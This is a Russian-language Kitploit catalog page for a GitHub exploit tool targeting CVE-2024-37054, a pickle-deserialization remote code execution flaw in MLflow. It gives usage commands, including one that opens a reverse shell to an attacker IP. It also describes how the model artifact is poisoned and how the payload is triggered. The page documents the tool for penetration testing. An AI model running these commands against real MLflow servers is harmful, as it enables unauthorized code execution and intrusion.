Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-37054 — CVE-2024-37054 exploit and documentation | Kitploit
Инструменты/GitHubGitHub/tristanqtn/cve-2024-37054
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 exploit and documentation

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-37054 — RCE через десериализацию pyfunc в MLflow

Серьезность: Критический
Затронуто: MLflow 0.9.0 – 2.14.1
Тип: Выполнение произвольного кода через десериализацию pickle в Python

Описание

mlflow.pyfunc.load_model() десериализует python_model.pkl из хранилища артефактов без какой-либо санитизации. Атакующий, имеющий доступ к REST API артефактов MLflow, может перезаписать этот файл вредоносным pickle-объектом, что приведет к выполнению произвольных команд ОС при следующей загрузке модели.

Требования

root@kitploit:~
pip install requests cloudpickle

Использование

root@kitploit:~
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Ключевые опции

Как это работает

  1. Обнаружение — запрос /api/2.0/mlflow/registered-models/search для поиска модели и её run_id / experiment_id
  2. Отравление — PUT вредоносной полезной нагрузки cloudpickle по адресу /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
  3. Активация — любой код, вызывающий mlflow.pyfunc.load_model() для этой модели, десериализует полезную нагрузку и выполняет команду

Шаг активации требует конечной точки приложения, которая загружает модель. Если таковая неизвестна, используйте --no-trigger (или опустите --trigger-url) и активируйте загрузку любыми доступными средствами.

Отказ от ответственности

Только для авторизованного тестирования на проникновение и образовательных целей.

Скачать инструмент
ФлагОписание
--mlflow URLБазовый URL сервера отслеживания MLflow (обязательно)
--model NAMEИмя зарегистрированной модели — автоматически выбирает первую, если не указано
--version NВерсия модели — по умолчанию последняя
--user / --passУчетные данные HTTP Basic Auth для MLflow
--run-id / --exp-idОбход поиска модели с известными ID
--trigger-url URLКонечная точка приложения, вызывающая load_model() — опустите для только загрузки
--session COOKIECookie сессии, отправляемый с запросом триггера